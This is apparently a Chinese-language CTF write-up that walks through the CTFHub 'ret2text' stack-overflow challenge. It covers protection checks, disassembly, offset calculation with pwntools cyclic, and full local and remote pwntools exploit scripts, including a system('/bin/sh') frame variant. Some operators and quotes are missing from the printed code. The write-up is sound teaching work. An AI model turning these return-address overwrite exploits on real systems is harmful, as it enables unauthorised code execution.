
1. 从一道题看栈溢出攻击的“教科书式”起点如果你刚开始接触二进制安全或者正在CTFHub的技能树上刷题那么“ret2text”这个题目大概率是你遇到的第一个“真正”的栈溢出挑战。它不像信息泄露或者弱口令那样需要你去猜测或枚举也不像XSS那样需要构造精巧的HTML/JS载荷。ret2text的核心逻辑非常纯粹给你一个程序它有一个明显的、可以覆盖返回地址的栈溢出漏洞而你的目标就是利用这个漏洞让程序跳转到它自身代码段.text段中一个现成的、能给你flag的函数去执行。听起来很简单对吧但正是这份简单让它成为了理解栈溢出利用原理最完美的“标本”。很多人在这个阶段会卡住不是因为漏洞有多复杂而是对“覆盖返回地址”这个操作背后的内存布局、函数调用约定缺乏直观的感受。我当年也是对着gets函数输入了一长串字符看到程序崩溃了却不知道下一步该干嘛。今天我们就来彻底拆解这道题我会带你走一遍完整的分析、调试和利用过程让你不仅知道怎么做更明白为什么这么做。这不仅仅是解一道题而是为你后续挑战更复杂的ret2shellcode、ret2libc乃至各种ROP链打下坚实的基础。2. 题目环境搭建与初步侦察拿到一个二进制题目第一步永远不是急着运行而是先看看它是什么“成分”。我们假设题目提供了一个名为ret2text的可执行文件。首先用file命令查看文件类型file ret2text输出很可能是ret2text: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]..., not stripped。这里的关键信息是“32-bit”和“not stripped”。32位意味着函数参数通过栈传递这对我们构造payload的偏移计算有影响“not stripped”意味着符号表没有被删除我们可以直接看到函数名比如关键的main、vulnerable_function甚至是我们梦寐以求的get_flag或system函数这大大降低了逆向分析的难度。接着用checksec检查程序的安全机制checksec --fileret2text典型的输出可能如下Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)这份“体检报告”至关重要Arch: i386-32-little: 再次确认是32位小端序架构。Stack: No canary found:这是漏洞利用能够成功的关键。栈金丝雀Canary是一种用于检测栈溢出的保护机制。这里显示“未找到”意味着我们可以肆意覆盖栈上的数据包括返回地址而不会被检测到。NX: NX enabled: 数据执行保护NX已开启。这意味着栈、堆等数据区域的内存页被标记为不可执行。我们无法直接将shellcode写入栈上并跳转执行。但ret2text的利用方式不依赖此因为我们跳转的目标是代码段中已存在的可执行指令。PIE: No PIE:地址空间布局随机化PIE未开启。这是另一个关键点。它意味着每次运行程序代码段、数据段的加载基地址是固定的例如0x8048000。因此我们通过反汇编找到的目标函数地址如0x80485ab在程序每次运行时都是有效的无需泄露地址。最后我们直接把程序丢进反汇编工具比如objdump或IDA Pro。用objdump -d ret2text | less快速浏览寻找可疑函数。一个经典的漏洞函数可能长这样0804847b vulnerable_function: 804847b: 55 push %ebp 804847c: 89 e5 mov %esp,%ebp 804847e: 83 ec 48 sub $0x48,%esp 8048481: 83 ec 0c sub $0xc,%esp 8048484: 8d 45 bc lea -0x44(%ebp),%eax 8048487: 50 push %eax 8048488: e8 a3 fe ff ff call 8048330 getsplt 804848d: 83 c4 10 add $0x10,%esp 8048490: 90 nop 8048491: c9 leave 8048492: c3 ret看第804847e行sub $0x48, %esp它在栈上分配了0x48十进制72字节的空间。再看第8048484行lea -0x44(%ebp), %eax它将ebp - 0x44十进制68的地址也就是缓冲区的起始地址作为参数传给gets。这里就存在一个计算上的“错觉”缓冲区大小是68字节但栈帧总大小是72字节。ebp和缓冲区开头之间有68字节但别忘了在ebp之上还有调用者的ebp4字节和返回地址4字节。所以从缓冲区开头到返回地址的偏移量是68缓冲区 4保存的ebp 72字节。这意味着只要我们输入超过72个字符就会开始覆盖返回地址。3. 寻找“宝藏函数”与计算精确偏移ret2text的核心在于“text”即程序自身的代码段。我们的目标不是注入新代码而是“借用”程序里已有的代码。通常这类题目会有一个“后门函数”比如叫get_flag、win、system_func或者更直白地里面直接调用了system(/bin/sh)。通过反汇编或objdump -t ret2text查看符号表我们可能会找到080485ab get_flag: 80485ab: 55 push %ebp 80485ac: 89 e5 mov %esp,%ebp 80485ae: 83 ec 08 sub $0x8,%esp 80485b1: 83 ec 0c sub $0xc,%esp 80485b4: 68 84 86 04 08 push $0x8048684 80485b9: e8 82 fe ff ff call 8048440 systemplt 80485be: 83 c4 10 add $0x10,%esp 80485c1: 90 nop 80485c2: c9 leave 80485c3: c3 ret地址0x80485ab就是我们的目标。当程序执行完vulnerable_function的ret指令时它会从栈顶弹出返回地址并跳转。我们的任务就是用0x80485ab覆盖掉原本的返回地址。接下来是精确计算偏移。理论偏移是72字节但实际环境中可能存在对齐或编译器优化导致的细微差别。最可靠的方法是动态调试。使用gdb打开程序gdb ./ret2text在vulnerable_function的ret指令处0x8048492下断点然后运行。为了精确计算我们可以使用pattern_create和pattern_offset这两个神器通常在gdb-peda或pwntools中集成。在攻击脚本中我们可以这样做使用Python的pwntools库from pwn import * # 生成一个200字节的、不重复的循环字符串 pattern cyclic(200) print(pattern)将生成的字符串作为输入喂给程序程序会在覆盖返回地址后崩溃。gdb会显示崩溃时eip指令指针的值比如0x6161616c。然后我们用这个值去查询from pwn import * offset cyclic_find(0x6161616c) # 假设崩溃时eip是这个值 print(f偏移量是: {offset})假设这里计算出的offset是76。这意味着从我们输入的缓冲区开始到返回地址之间需要填充76个字节。这个动态计算出的偏移量比静态分析更可靠。4. 构造Payload与本地测试知道了偏移量假设为76和目标地址0x80485ab我们就可以构造payload了。这里有几个关键细节字节序x86架构是小端序Little-Endian这意味着一个多字节数据如地址在内存中低位字节在前。所以地址0x80485ab在payload中要写成\xab\x85\x04\x08。填充字符填充什么内容无关紧要通常用bA * 76或者bB * 76。Payload结构填充字符76字节 目标地址4字节。一个完整的本地利用脚本如下from pwn import * context(archi386, oslinux) # 设置上下文为32位Linux # 启动本地进程 p process(./ret2text) # 构造payload offset 76 target_addr 0x80485ab # get_flag函数的地址 payload bA * offset payload p32(target_addr) # p32() 将整数打包为32位小端序字节串 # 发送payload p.sendline(payload) # 切换到交互模式以便看到flag输出 p.interactive()运行这个脚本。如果一切顺利程序会执行get_flag函数打印出flag然后我们就能在终端上看到它。注意在实际做题时目标地址可能不是直接调用system的函数。有时题目会提供一个system的PLT表地址如systemplt和一个/bin/sh字符串在程序中的地址可能在.data段你需要构造一个调用system(“/bin/sh”)的栈帧。这依然是ret2text因为跳转的目标systemplt和参数/bin/sh的地址都来自程序本身的text/data段。这时payload结构会变成填充字符 system_plt地址 返回地址可随意如‘AAAA’ /bin/sh地址。这需要你通过objdump -d ret2text | grep system和ROPgadget --binary ret2text --string /bin/sh等命令来寻找。5. 远程攻击与pwntools实战CTFHub的题目通常提供一个远程的nc连接比如nc challenge.ctfhub.com 12345。我们的脚本需要稍作修改以适应远程环境。from pwn import * context(archi386, oslinux) # 设置远程连接 host challenge.ctfhub.com port 12345 p remote(host, port) # 构造payload (偏移量和地址可能需要根据远程环境微调) # 通常如果本地和远程程序完全相同偏移量和地址不变。 # 但有时远程环境可能因libc版本等因素导致栈布局有微小差异偏移量可能需要±4的调整。 offset 76 target_addr 0x80485ab payload bA * offset payload p32(target_addr) # 发送payload p.sendline(payload) # 接收flag # 有时程序不会自动进入交互而是输出flag后退出。用recv系列函数接收。 print(p.recvall().decode())运行脚本如果成功你会直接收到远程服务器返回的flag。这里有一个非常重要的实战技巧远程环境下的输入/输出可能存在缓冲问题。有时你发送了payload但没立即收到回显。pwntools的sendline()通常能处理好换行符。如果遇到问题可以尝试在payload后手动加换行符\n或者使用p.sendlineafter(bsome prompt:, payload)来在收到特定提示后再发送这样更稳定。6. 常见问题排查与进阶思考即使按照步骤操作你可能还是会遇到问题。下面是一些常见的坑和排查思路程序崩溃但没有跳转最可能的原因是偏移量计算错误。重新用cyclic和cyclic_find进行精确计算。确保你覆盖的是ret指令弹出的地址而不是别的位置。跳转了但没拿到flag目标地址错了确认你找到的函数地址是正确的。用objdump -d ret2text | grep -A 20 “get_flag:“多看几行汇编确保它确实执行了如system调用等有效操作。函数参数问题如果目标函数需要参数比如system(“/bin/sh”)你需要按照调用约定构造栈帧。在32位中参数是逆序压栈的。所以调用system(arg)时栈顶应该是返回地址接着是参数arg的地址。你的payload结构应该是填充 system_plt地址 虚假返回地址 参数字符串地址。环境问题system(“/bin/sh”)在某些严格的环境下如docker容器可能因为/bin/sh符号链接到dash而行为受限。可以尝试使用system(‘/bin/bash’)或者更复杂的execve链但这通常超出了基础ret2text的范围。远程和本地结果不一致这通常是因为远程服务器的二进制文件和你本地下载的略有不同可能是不同编译器或优化选项。尝试重新下载题目附件或者用checksec对比一下。极端情况下可能需要暴力尝试偏移量如74, 76, 78, 80。解出这道题后你可以思考一些进阶问题这有助于理解后续更复杂的题型如果开启了NX但PIE没开ret2text依然有效因为跳转地址固定。如果只开启了Partial RELRO意味着我们可以覆盖GOT表但这通常用于更高级的利用如ret2libcret2text不依赖于此。从ret2text到ROPret2text本质上是执行一个“代码片段”gadget。ROP面向返回编程则是将程序中大量分散的、以ret结尾的短指令序列gadgets串联起来实现复杂的逻辑。ret2text可以看作是只有一个gadget的最简ROP链。这道题就像一把钥匙它为你打开了二进制漏洞利用世界的大门。理解了栈的结构、返回地址的控制、以及如何重用程序自身的代码你就能在面对CTFHub技能树上更复杂的题目如“ret2shellcode”、“ret2libc”、“fmt字符串漏洞”时有一个清晰的分析起点。记住这个流程检查保护机制 - 静态分析找漏洞点和目标 - 动态调试定偏移 - 构造payload - 本地测试 - 远程攻击。把这个流程变成你的肌肉记忆后续的挑战就会变得有章可循。